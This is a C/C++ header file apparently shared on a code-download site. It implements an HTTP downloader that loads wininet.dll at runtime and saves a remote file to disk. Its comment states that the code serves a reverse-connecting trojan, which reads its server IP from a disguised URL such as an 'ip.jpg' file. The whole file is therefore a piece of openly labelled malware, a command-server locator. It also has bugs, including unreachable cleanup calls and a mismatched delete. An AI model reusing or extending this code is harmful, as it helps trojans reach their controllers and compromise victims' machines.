HttpAutoUpdate.h
上传用户:cjw5120
上传日期:2022-05-11
资源大小:5032k
文件大小:4k
源码类别:

网络截获/分析

开发平台:

Visual C++

  1. //读指定URL的内容,最多999个字节。反弹木马URL配置IP信息时用到,比如读取
  2. //http://www.xxx.com/ip.jpg
  3. //#include "windows.h"
  4. #include "stdlib.h"
  5. //#include "stdio.h"
  6. #define HTTP_QUERY_CONTENT_LENGTH 5
  7. #define INTERNET_SERVICE_HTTP 3
  8. #define INTERNET_INVALID_PORT_NUMBER 0
  9. #define INTERNET_FLAG_NO_CACHE_WRITE    0x04000000
  10. #define INTERNET_FLAG_DONT_CACHE        INTERNET_FLAG_NO_CACHE_WRITE
  11. //InternetReadFile(hFileUrl, data,sizeof(data), &dwFlags);
  12. //dwFlags获得每次读取的数据长度,如果不等于0,就循环调用InternetReadFile 
  13. BOOL HttpGetFile(char url_main[],char url_last[],char savepath[MAX_PATH])
  14. {
  15. HMODULE hDll;
  16. LPVOID hSession,hConnect,hHttpFile; 
  17. hDll = LoadLibrary("wininet.dll");
  18. if(hDll)
  19. {
  20. typedef LPVOID         (WINAPI *pInternetOpen )(LPCTSTR ,DWORD ,LPCTSTR ,LPCTSTR ,DWORD );
  21. typedef BOOL    (WINAPI *pInternetCloseHandle )( LPVOID );
  22. typedef BOOL       (WINAPI *pInternetReadFile )(LPVOID ,LPVOID ,DWORD ,LPDWORD) ;
  23. typedef BOOL           (WINAPI *pHttpQueryInfo)(LPVOID,DWORD,LPVOID,LPDWORD,LPDWORD);
  24. typedef LPVOID       (WINAPI *pHttpOpenRequest)(LPVOID,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,DWORD,DWORD);
  25. typedef BOOL         (WINAPI *pHttpSendRequest)(LPVOID,LPCTSTR,DWORD,LPVOID,DWORD);
  26. typedef LPVOID       (WINAPI *pInternetConnect)(LPVOID,LPCTSTR,char,LPCTSTR,LPCTSTR,DWORD,DWORD,DWORD);
  27. pInternetOpen         InternetOpen = ( pInternetOpen ) GetProcAddress( hDll, "InternetOpenA" );
  28. pInternetCloseHandle  InternetCloseHandle = (pInternetCloseHandle) GetProcAddress (hDll,"InternetCloseHandle");
  29. pInternetReadFile     InternetReadFile = (pInternetReadFile) GetProcAddress(hDll,"InternetReadFile");
  30. pInternetConnect      InternetConnect = (pInternetConnect) GetProcAddress(hDll,"InternetConnectA");
  31. pHttpQueryInfo        HttpQueryInfo = (pHttpQueryInfo) GetProcAddress(hDll,"HttpQueryInfoA");
  32. pHttpOpenRequest      HttpOpenRequest = (pHttpOpenRequest) GetProcAddress(hDll,"HttpOpenRequestA");
  33. pHttpSendRequest      HttpSendRequest = (pHttpSendRequest) GetProcAddress(hDll,"HttpSendRequestA");
  34. hSession = InternetOpen("lyyer",0, NULL, NULL, 0); //LPCSTR lpszAgent 得到实例
  35. if (hSession != NULL)
  36. {
  37. hConnect = InternetConnect(hSession,
  38. url_main, //char url_main[];
  39. 0,
  40. "",
  41. "",
  42. INTERNET_SERVICE_HTTP,
  43. 0,
  44. 0);
  45. if (hConnect!=NULL)
  46. {
  47. hHttpFile = HttpOpenRequest(hConnect,
  48. "GET",
  49. url_last, //char url_
  50. "HTTP/1.0",
  51. NULL,
  52. 0,
  53. INTERNET_FLAG_DONT_CACHE, 
  54. 0) ;
  55. // Send the request.
  56. BOOL bSendRequest = HttpSendRequest(hHttpFile, NULL, 0, 0, 0);
  57. if (bSendRequest)
  58. {
  59. // Get the length of the file.            
  60. char bufQuery[32] ;
  61. DWORD dwLengthBufQuery = sizeof(bufQuery);
  62. BOOL bQuery = HttpQueryInfo(hHttpFile,
  63. HTTP_QUERY_CONTENT_LENGTH, 
  64. bufQuery, 
  65. &dwLengthBufQuery,
  66. 0) ;
  67. // Convert length from ASCII string to a DWORD.
  68. DWORD dwFileSize = (DWORD)atol(bufQuery) ;
  69. // Allocate a buffer for the file.   
  70. char *buffer = new char[1024+1];
  71. memset(buffer,0,1025);
  72. DWORD dwBytesRead=0;
  73.                     BOOL  bRead= false;
  74. DWORD write_size = 0;
  75. HANDLE hFile = CreateFile(savepath,
  76. GENERIC_WRITE,
  77. FILE_SHARE_READ|FILE_SHARE_WRITE,
  78. NULL,
  79. OPEN_ALWAYS,
  80. FILE_ATTRIBUTE_NORMAL,
  81. NULL);
  82. // Read the file into the buffer.    //多线程写文件
  83. //
  84. if (hFile)
  85. {
  86. do 
  87. {
  88. bRead = InternetReadFile(hHttpFile,
  89. buffer,
  90. 1024+1, 
  91. &dwBytesRead);
  92. WriteFile(hFile,buffer,dwBytesRead,&write_size,NULL);
  93. Sleep(1); //5
  94. } while(dwBytesRead);
  95. }
  96. else
  97. {
  98. return false;
  99. OutputDebugString("打开文件出错");
  100. }
  101. delete buffer;
  102. CloseHandle(hFile);
  103. return true;
  104. }
  105. }
  106. // Close all of the Internet handles.
  107. InternetCloseHandle(hHttpFile); 
  108. InternetCloseHandle(hConnect) ;
  109. InternetCloseHandle(hSession) ;
  110. }
  111. return false;
  112. FreeLibrary(hDll);
  113.   }
  114.   else
  115.   {
  116.   OutputDebugString("LoadLibrary wininet error");
  117.   return false;
  118.   }
  119. }